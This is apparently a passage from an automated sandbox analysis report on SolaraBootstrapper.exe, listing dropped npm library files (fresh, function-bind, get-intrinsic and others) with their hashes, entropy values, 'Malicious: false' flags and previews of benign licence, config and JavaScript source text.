SHA-512:	E589265C66CDFB98ACAE434C3A7C77236A594F3B43749A65246A6290D0771C4B5F7DFBAF0A19A37002C5B905FAF427065D4E4A3428F4D549C7CB5CD372FA09FC
Malicious:	false
Preview:	{. "name": "forwarded",. "description": "Parse HTTP X-Forwarded-For header",. "version": "0.2.0",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>". ],. "license": "MIT",. "keywords": [. "x-forwarded-for",. "http",. "req". ],. "repository": "jshttp/forwarded",. "devDependencies": {. "beautify-benchmark": "0.2.4",. "benchmark": "2.1.4",. "deep-equal": "1.0.1",. "eslint": "7.27.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.23.4",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "4.3.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "8.4.0",. "nyc": "15.1.0". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "nyc --reporter=lcov --reporter=text np

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\fresh\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1500
Entropy (8bit):	4.803106096666345
Encrypted:	false
SSDEEP:	24:rfaybuDNkHl1DeYtmwv+qXPcnMR0kJsGQqyMwNMZTS:rTbgknDnd/cUHqGyfN4m
MD5:	47E08786429A2F1A69B5D251E51A9D16
SHA1:	0C463267A7D2F15EDE1CACBD5E326202A123208F
SHA-256:	C2D714EAF4558DE25AB7EA991F52899610CD566FEC897838AD24306FA2F8F409
SHA-512:	B8DD61DF9059F750DB6B44A3643F6784CA39A0BA41C16C1491240A32932A4D22AE9F88900817BBF1BD3AE1014EABA3E083734D1509CA27A3757973118281E0F6
Malicious:	false
Preview:	0.5.2 / 2017-09-13.==================.. * Fix regression matching multiple ETags in `If-None-Match`. * perf: improve `If-None-Match` token parsing..0.5.1 / 2017-09-11.==================.. * Fix handling of modified headers with invalid dates. * perf: improve ETag match loop..0.5.0 / 2017-02-21.==================.. * Fix incorrect result when `If-None-Match` has both `` and ETags. Fix weak `ETag` matching to match spec. * perf: delay reading header values until needed. * perf: skip checking modified time if ETag check failed. * perf: skip parsing `If-None-Match` when no `ETag` header. * perf: use `Date.parse` instead of `new Date`..0.4.0 / 2017-02-05.==================.. * Fix false detection of `no-cache` request directive. * perf: enable strict mode. * perf: hoist regular expressions. * perf: remove duplicate conditional. * perf: remove unnecessary boolean coercions..0.3.0 / 2015-05-12.==================.. * Add weak `ETag` matching support..0.2.4 / 2014-09-07.=====

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\fresh\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1174
Entropy (8bit):	5.206011098331856
Encrypted:	false
SSDEEP:	24:JAiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:WiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	373C2CF0978B37E434394A43B4CBBDB4
SHA1:	D45235E8D9D1D656420A760A676EA7152386969F
SHA-256:	A0EC0DAB16B3666F24950F86D257930AC2AD475557B4BFE245620E0817D8A45D
SHA-512:	06168D57A372AD11F29A4197232990076760DBF77F0FF0FD8292190154B5E523EB7A2DE328463C6CEF5D9A68E0D2D5C85520C26F82CDA502231260EA71A1F1B0
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012 TJ Holowaychuk <tj@vision-media.ca>.Copyright (c) 2016-2017 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES O

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\fresh\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	3374
Entropy (8bit):	4.950844818552558
Encrypted:	false
SSDEEP:	48:WqXC9RRYNdXMoNjGX3DkXthGqLEkfTQjbdLpb9ugUkDwWfr42RX57bowLIsMPmjO:lXCs15qcL7mbdl9U5sMPmj2WuB
MD5:	2409EBA75B77A1B1258045CD372B4B6E
SHA1:	D9A44594AF9E00577BF6DB57038DABD6CEED58A7
SHA-256:	AE9229E6A75E3F63F9CC1F651C6E1CAFAEDCC26852AFE5FFED8A79C107B54AA5
SHA-512:	3BE6E030C964CB5783A017D7452E84134EB6008C3389D0FFE79B718586BD47723BBA80FCF1BE2900A17EF5A16BB6F934BDBABCC1241486EAF08D043A0C723242
Malicious:	false
Preview:	# fresh..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..HTTP response freshness testing..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```.$ npm install fresh.```..## API.. eslint-disable no-unused-vars -->..```js.var fresh = require('fresh').```..### fresh(reqHeaders, resHeaders)..Check freshness of the response using request and response headers...When the response is still "fresh" in the client's cache `true` is.returned, otherwise `false` is returned to indicate that the client.cache is now stale and the full response should be sent...When a client sends the `Cache-Control: no

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\fresh\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2711
Entropy (8bit):	4.865834298886165
Encrypted:	false
SSDEEP:	48:CCksovsWdYvS9zjpCVxeMlOmGvXUWS/CGfOqRK9mFZx4FHUJZ:3Y3C69zlCVxeM/GvIfh86mAZ
MD5:	57DBAFB6C310CE7063690F5688ACEDD5
SHA1:	CFC0704230B5D08C39F9847F7E1E808369B4110E
SHA-256:	85B46CE10C4FBA71FB41666586572277F626BBC698266026372941B5267BFB60
SHA-512:	D8DD9A0A5ACA5D5B476D4F365F3AD999393F76592E9340219946C79BCED1BF3C019622474B829FD28AD131F540BFB3132E635D66588F44548384F696DAA227F2
Malicious:	false
Preview:	/!. fresh. * Copyright(c) 2012 TJ Holowaychuk. * Copyright(c) 2016-2017 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. RegExp to check for no-cache token in Cache-Control.. * @private. /..var CACHE_CONTROL_NO_CACHE_REGEXP = /(?:^\|,)\s?no-cache\s?(?:,\|$)/../. Module exports.. * @public. /..module.exports = fresh../. Check freshness of the response using request and response headers.. . @param {Object} reqHeaders. * @param {Object} resHeaders. * @return {Boolean}. * @public. */..function fresh (reqHeaders, resHeaders) {. // fields. var modifiedSince = reqHeaders['if-modified-since']. var noneMatch = reqHeaders['if-none-match'].. // unconditional request. if (!modifiedSince && !noneMatch) {. return false. }.. // Always return stale when Cache-Control: no-cache. // to support end-to-end reload requests. // https://tools.ietf.org/html/rfc2616#section-14.9.4. var cacheControl = reqHeaders['cache-control']. if (cacheControl && CACHE_CONTRO

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\fresh\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	4.895796702793062
Encrypted:	false
SSDEEP:	24:rSqH1QVhxVWbeqfP6ifPVQeZWnWPKB6T+l6oOUZqy4y8e1w:rDY3VWbeqfSifPVQeQWPc0+woOUogw
MD5:	193849CF18966DE2814F4F6E85740069
SHA1:	6D90F7658279184066C5EE790CFA3DDE6921951B
SHA-256:	65F8EBD91560A3A6143F06BD9066D337BCF5F0C53E4A5329B98894F24EEFB8B1
SHA-512:	F5BF3DD3E7C630E5B7A8D4DE5068B036153958B4F6952F2A4F42B7642C04E931240CBAA9842FEB2EFB51537C6335CBB4F00D621CECC30981E64B0C04AAEF6DA6
Malicious:	false
Preview:	{. "name": "fresh",. "description": "HTTP response freshness testing",. "version": "0.5.2",. "author": "TJ Holowaychuk <tj@vision-media.ca> (http://tjholowaychuk.com)",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "keywords": [. "fresh",. "http",. "conditional",. "cache". ],. "repository": "jshttp/fresh",. "devDependencies": {. "beautify-benchmark": "0.2.4",. "benchmark": "2.1.4",. "eslint": "3.19.0",. "eslint-config-standard": "10.2.1",. "eslint-plugin-import": "2.7.0",. "eslint-plugin-markdown": "1.0.0-beta.6",. "eslint-plugin-node": "5.1.1",. "eslint-plugin-promise": "3.5.0",. "eslint-plugin-standard": "3.0.1",. "istanbul": "0.4.5",. "mocha": "1.21.5". },. "files": [. "HISTORY.md",. "LICENSE",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "bench": "node benchmark/ind

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	253
Entropy (8bit):	4.643130313692654
Encrypted:	false
SSDEEP:	6:ExL0UxNSHQyt5t+gcV7YNxxNHHWBs9QNSVLASMK8Pdsms4A:ErxN7yfjxNHH2NYMFsX
MD5:	2DF142FE306FC91BF4270B4F02DF9F60
SHA1:	22CE54CB7D4FC73B6C3BBDE61DBECA26BF9A66AA
SHA-256:	D1EF27C0F368368A239A99363DC04D7C2DBCB9B62D1A4107390A6DC52B901F1F
SHA-512:	F8FF3E8F2106D508A3E6F570E1048F1DDF55802AE4B92C8773A78B2B0859EBC4F7F4D505D3098A8630F2E43628911AF4698937047614CCF3ED65BCCC625F4D20
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."func-name-matching": 0,..."indent": [2, 4],..."no-new-func": [1],..},..."overrides": [...{...."files": "test/**",...."rules": {....."max-lines-per-function": 0,....."strict": [0]....},...},..],.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	584
Entropy (8bit):	4.704323638057467
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMvS0lgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgqlg7g1GegJ9gEz4D
MD5:	8B5CA374A81BFABAD8ADB91C7244FA31
SHA1:	86434EDEE8DBD5A90D05C58E2F680889151B43AE
SHA-256:	728EFC32EE016CE1B42D6B8848548B7F3540D5E0BA2966EFCA1774D132493D52
SHA-512:	BD346335C77613BF87D26C7B8EE248360034B80A61F1CE853B63A3FF8452EB645066696D54B2D4F74A9BF8C51338612696AA0977D47DA0FBB7D63E70F223382B
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/function-bind.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\.github\SECURITY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	157
Entropy (8bit):	4.587168296986176
Encrypted:	false
SSDEEP:	3:SG8xlLCKANRGEd5PWXCRVY82ARyGHGp1DmxUA61qsGpqDDC6eyg9vn:SxexNR3fVY8f0Gg1DmqosGp4DC6eX
MD5:	23030733BF7C5F821E7CBFF6098811BD
SHA1:	F3007F87EC7C209F84E7D64DAEB07D76E8DF1F6E
SHA-256:	DD880FBE091E1B4FE671EF6E4879F7D144A64C0A3B21CE9B498C62C082FF3E50
SHA-512:	B2754AC2808558A38F2D705C776677E2100F914266849CF92214504C8B8F210889B13107FBEFB80948E8C5319D01700450EF81C77D565BFBE76F4AE349140C3C
Malicious:	false
Preview:	# Security..Please email [@ljharb](https://github.com/ljharb) or see https://tidelift.com/security if you have a potential security vulnerability to report..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\.nycrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.771900676344982
Encrypted:	false
SSDEEP:	6:Kw9OfyFdRaB9yq2TpR6S8U7XfUGUiMIOJHhBK:5O6FTaB9WTpR65U7cAMjJHe
MD5:	C2AB942102236F987048D0D84D73D960
SHA1:	95462172699187AC02EAEC6074024B26E6D71CFF
SHA-256:	948366FEA3B423A46366326D0BB2E54B08ABD1CF0B243678BA6625740C40DA5A
SHA-512:	E36B20C16CEEB090750F3865EFC8D7FD983AE4E8B41C30CC3865D2FD4925BF5902627E1F1ED46C0FF2453F076EF9DE34BE899EF57754B29CD158440071318479
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."lines": 86,.."statements": 85.93,.."functions": 82.43,.."branches": 76.06,.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	13812
Entropy (8bit):	5.309396607218774
Encrypted:	false
SSDEEP:	192:EgiS7nrUEmUnibLgidptekRP5AC7mQ+EpYVWgWFh/R:Ea7rUEm0ibc4qkRf+EyVWFj
MD5:	3623B76F4135F25494E1AB7A9B1FCE05
SHA1:	774E2641FE81D4D87FE6150FA80B9D7034524448
SHA-256:	C44D3C98A0CF4F95FEF7845DA104DECA900D24853589767BBEB380406CE1DAB2
SHA-512:	79D2A20F751F77F0013EB88D7675345D86FC10B82C81BC8A1CF7F7AE71323B2C747EBA1E53991360CA97A4564EF6CD114EBD7653E81665420F5151FD6DD0AE40
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.1.2](https://github.com/ljharb/function-bind/compare/v1.1.1...v1.1.2) - 2023-10-12..### Merged..- Point to the correct file [`#16`](https://github.com/ljharb/function-bind/pull/16)..### Commits..- [Tests] migrate tests to Github Actions [`4f8b57c`](https://github.com/ljharb/function-bind/commit/4f8b57c02f2011fe9ae353d5e74e8745f0988af8).- [Tests] remove `jscs` [`90eb2ed`](https://github.com/ljharb/function-bind/commit/90eb2edbeefd5b76cd6c3a482ea3454db169b31f).- [meta] update `.gitignore` [`53fcdc3`](https://github.com/ljharb/function-bind/commit/53fcdc371cd66634d6e9b71c836a50f437e89fed).- [Tests] up to `node` `v11.10`, `v10.15`, `v9.11`, `v8.15`, `v6.16`, `v4.9`; use `nvm install-latest-npm`; run audit script in tests [`1fe8f6e`](ht

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1052
Entropy (8bit):	5.099415027434423
Encrypted:	false
SSDEEP:	24:U6rmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5v:U6aJHlxE35QHOs5exm3ogF5v
MD5:	E7417C1A8AD83F88BCAC21AD440D48B2
SHA1:	290336F3DA86F5F9A91A231B058C5588AAA9F606
SHA-256:	773E131A7684726005A7E4688A80B4620033BC08499BC1404DD1A1EB3BCA725E
SHA-512:	0CFEF7E9352FC517CEE64D1D2866F76A66536555483ECF7EAF3D158E800DE787FDDB35D18955E6E8D5A39CA2A91347664F61237F5957F359959DDB895BB72283
Malicious:	false
Preview:	Copyright (c) 2013 Raynos...Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONNECTION WITH THE SOFT

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	1755
Entropy (8bit):	4.992805275903098
Encrypted:	false
SSDEEP:	48:F1eI4IUO2sfqtR/WG5pNPsjNZt0lMDCs+TIL0ISI1sv:XXFOv+7NLx7Y
MD5:	E9CF820D7FDAACFEFA8A583A32D1BBD5
SHA1:	A8DB4C2F387C42EB753011F48C5C4626D8E82635
SHA-256:	305FC05A184A5AFA3766893BE87D24E4C0F2E8561B66463A51AEE4B196B1DC48
SHA-512:	949896C073FFDE372377ED4BEE5FDC58CD4642F09A9D1F41577FEA520B82F291860746D46C6224BD2EDB19155561CA0FE2DADB3F24D020F9ACDA84E418471421
Malicious:	false
Preview:	# function-bind <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url]. [![coverage][codecov-image]][codecov-url]-->.[![dependency status][deps-svg]][deps-url].[![dev dependency status][dev-deps-svg]][dev-deps-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Implementation of function.prototype.bind..Old versions of phantomjs, Internet Explorer < 9, and node < 0.6 don't support `Function.prototype.bind`...## Example..```js.Function.prototype.bind = require("function-bind").```..## Installation..`npm install function-bind`..## Contributors.. - Raynos..## MIT Licenced..[package-url]: https://npmjs.org/package/function-bind.[npm-version-svg]: https://versionbadg.es/Raynos/function-bind.svg.[deps-svg]: https://david-dm.org/Raynos/function-bind.svg.[deps-url]: https://david-dm.org/Raynos/function-bind.[dev-deps-svg]: https://david-dm.org/Raynos/fu

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\implementation.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2043
Entropy (8bit):	4.456604868832058
Encrypted:	false
SSDEEP:	48:GFyJqQx6PnbMWQc3iQk/iZkzGblas0axYAN931kV:GtQ6Q2iQ2JuasXxYANoV
MD5:	90FFC505F9A898A56DAB665F19BD1798
SHA1:	42321136A108882E353520FFF3411FBFCB798B5B
SHA-256:	5C52EB40601E0716DAFFF9759CF28D8D4AF3E2FC2E2C96384F43DBFD0F7370B5
SHA-512:	E84278468B4A653E408E04836899909ED8E5C9422596D25EFF35D627F5136FAE019FFA688DD5FC85343DDBCA02E3B7A798E3F46F940CE9A6428AEC8D7C11A904
Malicious:	false
Preview:	'use strict';../* eslint no-invalid-this: 1 */..var ERROR_MESSAGE = 'Function.prototype.bind called on incompatible ';.var toStr = Object.prototype.toString;.var max = Math.max;.var funcType = '[object Function]';..var concatty = function concatty(a, b) {. var arr = [];.. for (var i = 0; i < a.length; i += 1) {. arr[i] = a[i];. }. for (var j = 0; j < b.length; j += 1) {. arr[j + a.length] = b[j];. }.. return arr;.};..var slicy = function slicy(arrLike, offset) {. var arr = [];. for (var i = offset \|\| 0, j = 0; i < arrLike.length; i += 1, j += 1) {. arr[j] = arrLike[i];. }. return arr;.};..var joiny = function (arr, joiner) {. var str = '';. for (var i = 0; i < arr.length; i += 1) {. str += arr[i];. if (i + 1 < arr.length) {. str += joiner;. }. }. return str;.};..module.exports = function bind(that) {. var target = this;. if (typeof target !== 'function' \|\| toStr.apply(target) !== funcTy

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	126
Entropy (8bit):	4.472691384444496
Encrypted:	false
SSDEEP:	3:agWIFMZpREqQYyUcVJYREqXfvvIKzBbEbeVXKHqL6KpREqLvn:QLEbJ8EQfvvIKzBAbKXKHqL6KEMv
MD5:	80C4B0103888A6175E5579DEDBAB1EA3
SHA1:	F761BC101BF315E6124F737D1691AAA77E507253
SHA-256:	12FA1B92429DB25599F6FE118CBBB877F7F62B83CB9BFE2FC896B2D6A8110647
SHA-512:	9D0FAD8B2BA96D9488E35476F9F47CA0D81A2DD7002F8EF2EF2563F861789A6F049590B0BEF2326C2E513E9E1EBF005D71FED6F8F6CD54F91B76DE9030654F3D
Malicious:	false
Preview:	'use strict';..var implementation = require('./implementation');..module.exports = Function.prototype.bind \|\| implementation;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2262
Entropy (8bit):	4.819261067622333
Encrypted:	false
SSDEEP:	48:ik7R5iSZa02b6lc0ssb44tag3M9S/YsEg4PpMHYv4+xyiyxVjSQ9m:iAMcV2h0sQeL3PpMHYwOyiyx5SQ0
MD5:	325C50ACB9DD3D834589C1AEB318C9A8
SHA1:	1FDCD92C6AD33CFAB1C556504198E29A38759A7C
SHA-256:	EDB1C4FAF4148E6E3D74ED8DBAC1A1DC359A647FF4207AAD4851396DC7A3559A
SHA-512:	64B9C2664DC03826A4B03E50FE73A02C7AA28E864B537CD834DFE3F05C4E31DB32E4B3789D7BBAA531C018D9A6035407B4879EDEB9B492781989DF932E3B1B9B
Malicious:	false
Preview:	{. "name": "function-bind",. "version": "1.1.2",. "description": "Implementation of Function.prototype.bind",. "keywords": [. "function",. "bind",. "shim",. "es5". ],. "author": "Raynos <raynos2@gmail.com>",. "repository": {. "type": "git",. "url": "https://github.com/Raynos/function-bind.git". },. "funding": {. "url": "https://github.com/sponsors/ljharb". },. "main": "index",. "homepage": "https://github.com/Raynos/function-bind",. "contributors": [. {. "name": "Raynos". },. {. "name": "Jordan Harband",. "url": "https://github.com/ljharb". }. ],. "bugs": {. "url": "https://github.com/Raynos/function-bind/issues",. "email": "raynos2@gmail.com". },. "devDependencies": {. "@ljharb/eslint-config": "^21.1.0",. "aud": "^2.0.3",. "auto-changelog": "^2.4.0",. "eslint": "=8.8.0",. "in-publish": "^2.0.1",. "npmignore": "^0.3.0",. "nyc": "^10.3.2",. "safe-publish-latest": "^2.0.0",. "tape": "^5.7.1"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\test\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	176
Entropy (8bit):	4.668736421183359
Encrypted:	false
SSDEEP:	3:e5NeVHEiHob/vHHEiAJZ0S9/vHHI0FEmpRERZGbty4nMPW/vJVHL26AXWHfFqv:e5NSHEiILrAXrhq2RI0ty36vJtL2rQG
MD5:	BB3B1AC6315F16027A8E514B44DB203C
SHA1:	186EDBBB64903B71F1C530ED81347CA000B3B673
SHA-256:	63CDAA0CB9C27170EAB17635114928F01E23665054B7AC15538B7BE2FC3EB495
SHA-512:	BB46C3961CB122ADB4C0A9B088A2B8D03D9CFEF64E28F90C078DDB2E0995DD5A27A75AB7A5E13E02A8BECD8F9FF54747A9EDFFB54B68BE1ED4974D479969D5BC
Malicious:	false
Preview:	{.."rules": {..."array-bracket-newline": 0,..."array-element-newline": 0,..."max-statements-per-line": [2, { "max": 2 }],..."no-invalid-this": 0,..."no-magic-numbers": 0,..}.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\test\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8991
Entropy (8bit):	4.374619018777284
Encrypted:	false
SSDEEP:	96:Wi5z1X/zaW/PW2rqETStE6BINAzeQFpmzowYdF9s4/lNdyaud1KpGl:WiJ1ba8Z6WuegpYowsF99NNdPud1WGl
MD5:	9786942AEEFCDC12B2F841895EDE1647
SHA1:	09E08FB38653410A851B6B2FAB5700F93A3B76F2
SHA-256:	32BA00E232DC250A945BDB23461A7346F6029D31B595AA2046BF386AAB6A91E9
SHA-512:	9B919BDC5AF513FF2386951CBA6DA3D5DE9D66D907C4D502788059BB58B518F666FD6C5F044361D6251912D54F842A5C31E7FC8EF6AE04F1D89D68E38071D520
Malicious:	false
Preview:	// jscs:disable requireUseStrict..var test = require('tape');..var functionBind = require('../implementation');.var getCurrentContext = function () { return this; };..test('functionBind is a function', function (t) {. t.equal(typeof functionBind, 'function');. t.end();.});..test('non-functions', function (t) {. var nonFunctions = [true, false, [], {}, 42, 'foo', NaN, /a/g];. t.plan(nonFunctions.length);. for (var i = 0; i < nonFunctions.length; ++i) {. try { functionBind.call(nonFunctions[i]); } catch (ex) {. t.ok(ex instanceof TypeError, 'throws when given ' + String(nonFunctions[i]));. }. }. t.end();.});..test('without a context', function (t) {. t.test('binds properly', function (st) {. var args, context;. var namespace = {. func: functionBind.call(function () {. args = Array.prototype.slice.call(arguments);. context = this;. }). };. namespace.func(1, 2, 3

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	603
Entropy (8bit):	4.743418809624205
Encrypted:	false
SSDEEP:	12:Erz54bz1SnZfN9iIZVtxyeqRkR6FRvwr2reLSxNHH2NLZGsX:Erd4bz16ZfXkeUY6rvwCrem2JJ
MD5:	C02DA4AFD6075E9009CC89DF0485FF87
SHA1:	4FAC42F73CF7F5BB55190EC7A86369FF3E147F1E
SHA-256:	B92CD3F3A532DFAD193110E917A613C1A26273E234A145234363F1E54F27D622
SHA-512:	2BEB5257D29313074D9FE528367766F95222FB6F21F4DDF07131E739F57816D1E376921935464EFC6D3F9D29F88C9CA56F9F8956CA1E3AD1E7B38F89D05E35C2
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."env": {..."es6": true,..."es2017": true,..."es2020": true,..."es2021": true,..."es2022": true,..},..."rules": {..."array-bracket-newline": 0,..."complexity": 0,..."eqeqeq": [2, "allow-null"],..."func-name-matching": 0,..."id-length": 0,..."max-lines": 0,..."max-lines-per-function": [2, 90],..."max-params": [2, 4],..."max-statements": 0,..."max-statements-per-line": [2, { "max": 2 }],..."multiline-comment-style": 0,..."no-magic-numbers": 0,..."sort-keys": 0,..},..."overrides": [...{...."files": "test/**",...."rules": {....."new-cap": 0,....},...},..],.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	584
Entropy (8bit):	4.692655741889681
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMB4elgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgCVlg7g1GegJ9gEz4D
MD5:	AF4549C7E764D6B75715C3F1001FBA09
SHA1:	63DDFBD389E372A51B629A9C64AE1BAAEC6BE25B
SHA-256:	24CAFAE83831C946115236F57F58E0D4797A3E7F6BCC8AD87B88A69D15A520C6
SHA-512:	F81CD995A21702B797118E0171844842541E93BC461455339B1B1E16181E6E56765316A3CC3B2C816E87D337A15754231405E2510386329F0561733165356FC8
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/get-intrinsic.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

